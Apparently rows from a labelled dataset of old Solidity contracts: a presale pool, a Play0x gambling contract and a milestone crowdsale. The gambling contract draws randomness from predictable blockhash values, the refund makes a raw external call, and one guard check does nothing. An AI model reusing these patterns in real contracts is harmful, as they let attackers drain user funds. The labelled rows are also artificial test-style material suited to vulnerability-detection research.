balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit || balances[investor] > weiMaximumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaised = safeAdd(weiRaised, msg.value);
if(weiRaised > weiCap) {
throw;
}
Invested(investor, msg.value, 0, customerId);
}
function buyWithCustomerId(uint128 customerId) public stopInEmergency payable {
invest(customerId);
}
function buy() public stopInEmergency payable {
invest(0x0);
}
function buyForEverybody() stopNonOwnersInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaised)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaised;
}
function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function forceRefund() public onlyOwner {
forcedRefund = true;
}
function loadRefund() public payable {
if(getState() != State.Refunding) throw;
}
function getState() public returns(State) {
if (forcedRefund)
return State.Refunding;
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function isPresale() public constant returns (bool) {
return true;
}
function() payable {
throw;
}
} | 0 | 1,418 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address owner, address spender) public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function transfer(address _to, uint256 _value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Play0x_Gashapon_MITH {
using SafeMath for uint256;
using SafeMath for uint128;
using SafeMath for uint40;
using SafeMath for uint8;
uint public jackpotSize;
uint public tokenJackpotSize;
uint public MIN_BET;
uint public MAX_BET;
uint public MAX_AMOUNT;
uint public maxProfit;
uint public maxTokenProfit;
uint8 public platformFeePercentage = 15;
uint8 public jackpotFeePercentage = 5;
uint8 public ERC20rewardMultiple = 5;
uint constant BetExpirationBlocks = 250;
uint public lockedInBets;
uint public lockedTokenInBets;
bytes32 bitComparisonMask = 0xF;
address public owner;
address private nextOwner;
address public manager;
address private nextManager;
address public secretSigner;
address public ERC20ContractAddres;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
struct Bet {
uint amount;
uint40 placeBlockNumber;
address gambler;
}
mapping (uint => Bet) public bets;
uint32[] public withdrawalMode = [1,140770,2,75400,3,51600,4,39200,5,30700,6,25900,7,22300,8,19700,9,17200,10,15600,11,14200,12,13300,13,12000,14,11000,15,10400 ];
event PlaceBetLog(address indexed player, uint amount,uint8 rotateTime);
event ToManagerPayment(address indexed beneficiary, uint amount);
event ToManagerFailedPayment(address indexed beneficiary, uint amount);
event ToOwnerPayment(address indexed beneficiary, uint amount);
event ToOwnerFailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event FailedPayment(address indexed beneficiary, uint amount);
event TokenPayment(address indexed beneficiary, uint amount);
event FailedTokenPayment(address indexed beneficiary, uint amount);
event JackpotBouns(address indexed beneficiary, uint amount);
event TokenJackpotBouns(address indexed beneficiary, uint amount);
event BetRelatedData(
address indexed player,
uint playerBetAmount,
uint playerGetAmount,
bytes32 entropy,
bytes32 entropy2,
uint8 Uplimit,
uint8 rotateTime
);
constructor () public {
owner = msg.sender;
manager = DUMMY_ADDRESS;
secretSigner = DUMMY_ADDRESS;
ERC20ContractAddres = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner);
_;
}
modifier onlyManager {
require (msg.sender == manager);
_;
}
modifier onlyOwnerManager {
require (msg.sender == owner || msg.sender == manager);
_;
}
modifier onlySigner {
require (msg.sender == secretSigner);
_;
}
function initialParameter(address _manager,address _secretSigner,address _erc20tokenAddress ,uint _MIN_BET,uint _MAX_BET,uint _maxProfit,uint _maxTokenProfit, uint _MAX_AMOUNT, uint8 _platformFeePercentage,uint8 _jackpotFeePercentage,uint8 _ERC20rewardMultiple)external onlyOwner{
manager = _manager;
secretSigner = _secretSigner;
ERC20ContractAddres = _erc20tokenAddress;
MIN_BET = _MIN_BET;
MAX_BET = _MAX_BET;
maxProfit = _maxProfit;
maxTokenProfit = _maxTokenProfit;
MAX_AMOUNT = _MAX_AMOUNT;
platformFeePercentage = _platformFeePercentage;
jackpotFeePercentage = _jackpotFeePercentage;
ERC20rewardMultiple = _ERC20rewardMultiple;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner);
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner);
owner = nextOwner;
}
function approveNextManager(address _nextManager) external onlyManager {
require (_nextManager != manager);
nextManager = _nextManager;
}
function acceptNextManager() external {
require (msg.sender == nextManager);
manager = nextManager;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setTokenAddress(address _tokenAddress) external onlyManager {
ERC20ContractAddres = _tokenAddress;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT);
maxProfit = _maxProfit;
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance);
uint safetyAmount = jackpotSize.add(lockedInBets).add(withdrawAmount);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= address(this).balance);
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function withdrawToken(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
uint safetyAmount = tokenJackpotSize.add(lockedTokenInBets);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
ERC20(ERC20ContractAddres).transfer(beneficiary, withdrawAmount);
emit TokenPayment(beneficiary, withdrawAmount);
}
function withdrawAllFunds(address beneficiary) external onlyOwner {
if (beneficiary.send(address(this).balance)) {
lockedInBets = 0;
emit Payment(beneficiary, address(this).balance);
} else {
emit FailedPayment(beneficiary, address(this).balance);
}
}
function withdrawAlltokenFunds(address beneficiary) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
lockedTokenInBets = 0;
emit TokenPayment(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
}
function kill() external onlyOwner {
require (lockedInBets == 0);
require (lockedTokenInBets == 0);
selfdestruct(owner);
}
function getContractInformation()public view returns(
uint _jackpotSize,
uint _tokenJackpotSize,
uint _MIN_BET,
uint _MAX_BET,
uint _MAX_AMOUNT,
uint8 _platformFeePercentage,
uint8 _jackpotFeePercentage,
uint _maxProfit,
uint _maxTokenProfit,
uint _lockedInBets,
uint _lockedTokenInBets,
uint32[] _withdrawalMode){
_jackpotSize = jackpotSize;
_tokenJackpotSize = tokenJackpotSize;
_MIN_BET = MIN_BET;
_MAX_BET = MAX_BET;
_MAX_AMOUNT = MAX_AMOUNT;
_platformFeePercentage = platformFeePercentage;
_jackpotFeePercentage = jackpotFeePercentage;
_maxProfit = maxProfit;
_maxTokenProfit = maxTokenProfit;
_lockedInBets = lockedInBets;
_lockedTokenInBets = lockedTokenInBets;
_withdrawalMode = withdrawalMode;
}
function getContractAddress()public view returns(
address _owner,
address _manager,
address _secretSigner,
address _ERC20ContractAddres ){
_owner = owner;
_manager= manager;
_secretSigner = secretSigner;
_ERC20ContractAddres = ERC20ContractAddres;
}
enum PlaceParam {
RotateTime,
possibleWinAmount
}
function placeBet(uint[] placParameter, bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v) external payable {
require (uint8(placParameter[uint8(PlaceParam.RotateTime)]) != 0);
require (block.number <= _commitLastBlock );
require (secretSigner == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedInBets = lockedInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= msg.value.add(maxProfit));
require (lockedInBets <= address(this).balance);
bet.amount = msg.value;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = msg.sender;
emit PlaceBetLog(msg.sender, msg.value, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function placeTokenBet(uint[] placParameter,bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v,uint _amount,address _playerAddress) external {
require (placParameter[uint8(PlaceParam.RotateTime)] != 0);
require (block.number <= _commitLastBlock );
require (secretSigner == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedTokenInBets = lockedTokenInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= _amount.add(maxTokenProfit));
require (lockedTokenInBets <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
bet.amount = _amount;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = _playerAddress;
emit PlaceBetLog(_playerAddress, _amount, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function getBonusPercentageByMachineMode(uint8 machineMode)public view returns( uint upperLimit,uint maxWithdrawalPercentage ){
uint limitIndex = machineMode.mul(2);
upperLimit = withdrawalMode[limitIndex];
maxWithdrawalPercentage = withdrawalMode[(limitIndex.add(1))];
}
enum SettleParam {
Uplimit,
BonusPercentage,
RotateTime,
CurrencyType,
MachineMode,
PerWinAmount,
PerBetAmount,
PossibleWinAmount,
LuckySeed,
jackpotFee
}
function settleBet(uint[] combinationParameter, uint reveal) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (bet.amount != 0);
require (block.number <= bet.placeBlockNumber.add(BetExpirationBlocks));
bytes32 _entropy = keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
reveal,
blockhash(combinationParameter[uint8(SettleParam.LuckySeed)])
)
)
),
blockhash(block.number)
)
)
),
blockhash(block.timestamp)
)
);
uint totalAmount = 0;
uint totalTokenAmount = 0;
uint totalJackpotWin = 0;
(totalAmount,totalTokenAmount,totalJackpotWin) = runRotateTime(combinationParameter,_entropy,keccak256(abi.encodePacked(uint(_entropy), blockhash(combinationParameter[uint8(SettleParam.LuckySeed)]))));
if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
emit JackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
jackpotSize = uint128(jackpotSize.sub(totalJackpotWin));
}else if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
emit TokenJackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
tokenJackpotSize = uint128(tokenJackpotSize.sub(totalJackpotWin));
}
emit BetRelatedData(bet.gambler,bet.amount,totalAmount,_entropy,keccak256(abi.encodePacked(uint(_entropy), blockhash(combinationParameter[uint8(SettleParam.LuckySeed)]))),uint8(combinationParameter[uint8(SettleParam.Uplimit)]),uint8(combinationParameter[uint8(SettleParam.RotateTime)]));
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
if (totalAmount != 0){
sendFunds(bet.gambler, totalAmount , totalAmount);
}
if (totalTokenAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalTokenAmount);
emit TokenPayment(bet.gambler, totalTokenAmount);
}
}
}else if(combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
if (totalAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalAmount);
emit TokenPayment(bet.gambler, totalAmount);
}
}
}
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
lockedInBets = lockedInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
} else if (combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
lockedTokenInBets = lockedTokenInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
}
bet.amount = 0;
if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0) {
jackpotSize = jackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}else if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 1) {
tokenJackpotSize = tokenJackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}
}
function runRotateTime ( uint[] combinationParameter, bytes32 _entropy ,bytes32 _entropy2)private view returns(uint totalAmount,uint totalTokenAmount,uint totalJackpotWin) {
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 tmp_entropy;
bytes32 tmp_Mask = resultMask;
bool isGetJackpot = false;
for (uint8 i = 0; i < combinationParameter[uint8(SettleParam.RotateTime)]; i++) {
if (i < 64){
tmp_entropy = _entropy & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*(64 - (i.add(1))));
tmp_Mask = tmp_Mask >> 4;
}else{
if ( i == 64){
tmp_Mask = resultMask;
}
tmp_entropy = _entropy2 & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*( 64 - (i%63)));
tmp_Mask = tmp_Mask >> 4;
}
if ( uint(tmp_entropy) < uint(combinationParameter[uint8(SettleParam.Uplimit)]) ){
totalAmount = totalAmount.add(combinationParameter[uint8(SettleParam.PerWinAmount)]);
uint platformFees = combinationParameter[uint8(SettleParam.PerBetAmount)].mul(platformFeePercentage);
platformFees = platformFees.div(1000);
totalAmount = totalAmount.sub(platformFees);
}else{
if (uint(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
uint rewardAmount = uint(combinationParameter[uint8(SettleParam.PerBetAmount)]).mul(ERC20rewardMultiple);
totalTokenAmount = totalTokenAmount.add(rewardAmount);
}
}
}
if (isGetJackpot == false){
isGetJackpot = getJackpotWinBonus(i,_entropy,_entropy2);
}
}
if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
totalJackpotWin = jackpotSize;
}else if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
totalJackpotWin = tokenJackpotSize;
}
}
function getJackpotWinBonus (uint8 i,bytes32 entropy,bytes32 entropy2) private pure returns (bool isGetJackpot) {
bytes32 one;
bytes32 two;
bytes32 three;
bytes32 four;
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 jackpo_Mask = resultMask;
if (i < 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy & jackpo_Mask) >> (4*(64 - (i + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
else if(i >= 61){
if(i == 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
}
else if(i == 62){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
three = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
four = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
}
else if(i == 63){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
two = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0x00F0000000000000000000000000000000000000000000000000000000000000) >> 4*61;
jackpo_Mask = 0xF000000000000000000000000000000000000000000000000000000000000000;
}
else {
one = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 1)));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 2))) ;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 3))) ;
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy2 & jackpo_Mask) >>(4*( 64 - (i%64 + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
}
if ((one ^ 0xF) == 0 && (two ^ 0xF) == 0 && (three ^ 0xF) == 0 && (four ^ 0xF) == 0){
isGetJackpot = true;
}
}
function getPossibleWinAmount(uint bonusPercentage,uint senderValue)public view returns (uint platformFee,uint jackpotFee,uint possibleWinAmount) {
uint prePlatformFee = (senderValue).mul(platformFeePercentage);
platformFee = (prePlatformFee).div(1000);
uint preJackpotFee = (senderValue).mul(jackpotFeePercentage);
jackpotFee = (preJackpotFee).div(1000);
uint preUserGetAmount = senderValue.mul(bonusPercentage);
possibleWinAmount = preUserGetAmount.div(10000);
}
function refundBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedInBets = lockedInBets.sub(possibleWinAmount);
sendFunds(bet.gambler, amount, amount);
}
function refundTokenBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedTokenInBets = uint128(lockedTokenInBets.sub(possibleWinAmount));
ERC20(ERC20ContractAddres).transfer(bet.gambler, amount);
emit TokenPayment(bet.gambler, amount);
}
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
function clearProcessedBet(uint commit) private {
Bet storage bet = bets[commit];
if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BetExpirationBlocks) {
return;
}
bet.placeBlockNumber = 0;
bet.gambler = address(0);
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
function sendFundsToManager(uint amount) external onlyOwner {
if (manager.send(amount)) {
emit ToManagerPayment(manager, amount);
} else {
emit ToManagerFailedPayment(manager, amount);
}
}
function sendTokenFundsToManager( uint amount) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(manager, amount);
emit TokenPayment(manager, amount);
}
function sendFundsToOwner(address beneficiary, uint amount) external onlyOwner {
if (beneficiary.send(amount)) {
emit ToOwnerPayment(beneficiary, amount);
} else {
emit ToOwnerFailedPayment(beneficiary, amount);
}
}
function updateMIN_BET(uint _uintNumber)public onlyManager {
MIN_BET = _uintNumber;
}
function updateMAX_BET(uint _uintNumber)public onlyManager {
MAX_BET = _uintNumber;
}
function updateMAX_AMOUNT(uint _uintNumber)public onlyManager {
MAX_AMOUNT = _uintNumber;
}
function updateWithdrawalModeByIndex(uint8 _index, uint32 _value) public onlyManager{
withdrawalMode[_index] = _value;
}
function updateWithdrawalMode( uint32[] _withdrawalMode) public onlyManager{
withdrawalMode = _withdrawalMode;
}
function updateBitComparisonMask(bytes32 _newBitComparisonMask ) public onlyOwner{
bitComparisonMask = _newBitComparisonMask;
}
function updatePlatformFeePercentage(uint8 _platformFeePercentage ) public onlyOwner{
platformFeePercentage = _platformFeePercentage;
}
function updateJackpotFeePercentage(uint8 _jackpotFeePercentage ) public onlyOwner{
jackpotFeePercentage = _jackpotFeePercentage;
}
function updateERC20rewardMultiple(uint8 _ERC20rewardMultiple ) public onlyManager{
ERC20rewardMultiple = _ERC20rewardMultiple;
}
} | 0 | 1,560 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public tokensSold;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
uint256 tokens = _getTokenAmount(weiAmount);
_preValidatePurchase(_beneficiary, weiAmount, tokens);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount, tokens);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount, tokens);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime > _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount, _tokenAmount);
}
}
contract MilestoneCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
uint256 public constant MAX_MILESTONE = 10;
struct Milestone {
uint256 index;
uint256 startTime;
uint256 tokensSold;
uint256 cap;
uint256 rate;
}
Milestone[10] public milestones;
uint256 public milestoneCount = 0;
bool public milestoningFinished = false;
constructor(
uint256 _openingTime,
uint256 _closingTime
)
TimedCrowdsale(_openingTime, _closingTime)
public
{
}
function setMilestonesList(uint256[] _milestoneStartTime, uint256[] _milestoneCap, uint256[] _milestoneRate) public {
require(!milestoningFinished);
require(_milestoneStartTime.length > 0);
require(_milestoneStartTime.length == _milestoneCap.length && _milestoneCap.length == _milestoneRate.length);
require(_milestoneStartTime[0] == openingTime);
require(_milestoneStartTime[_milestoneStartTime.length-1] < closingTime);
for (uint iterator = 0; iterator < _milestoneStartTime.length; iterator++) {
if (iterator > 0) {
assert(_milestoneStartTime[iterator] > milestones[iterator-1].startTime);
}
milestones[iterator] = Milestone({
index: iterator,
startTime: _milestoneStartTime[iterator],
tokensSold: 0,
cap: _milestoneCap[iterator],
rate: _milestoneRate[iterator]
});
milestoneCount++;
}
milestoningFinished = true;
}
function getMilestoneTimeAndRate(uint256 n) public view returns (uint256, uint256) {
return (milestones[n].startTime, milestones[n].rate);
}
function capReached(uint256 n) public view returns (bool) {
return milestones[n].tokensSold >= milestones[n].cap;
}
function getTokensSold(uint256 n) public view returns (uint256) {
return milestones[n].tokensSold;
}
function getFirstMilestone() private view returns (Milestone) {
return milestones[0];
}
function getLastMilestone() private view returns (Milestone) {
return milestones[milestoneCount-1];
}
function getFirstMilestoneStartsAt() public view returns (uint256) {
return getFirstMilestone().startTime;
}
function getLastMilestoneStartsAt() public view returns (uint256) {
return getLastMilestone().startTime;
}
function getCurrentMilestoneIndex() internal view onlyWhileOpen returns (uint256) {
uint256 index;
for(uint i = 0; i < milestoneCount; i++) {
index = i;
if(block.timestamp < milestones[i].startTime) {
index = i - 1;
break;
}
}
if (milestones[index].tokensSold > milestones[index].cap) {
index = index + 1;
}
return index;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount, _tokenAmount);
require(milestones[getCurrentMilestoneIndex()].tokensSold.add(_tokenAmount) <= milestones[getCurrentMilestoneIndex()].cap);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal
{
super._updatePurchasingState(_beneficiary, _weiAmount, _tokenAmount);
milestones[getCurrentMilestoneIndex()].tokensSold = milestones[getCurrentMilestoneIndex()].tokensSold.add(_tokenAmount);
}
function getCurrentRate() internal view returns (uint result) {
return milestones[getCurrentMilestoneIndex()].rate;
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(getCurrentRate());
}
}
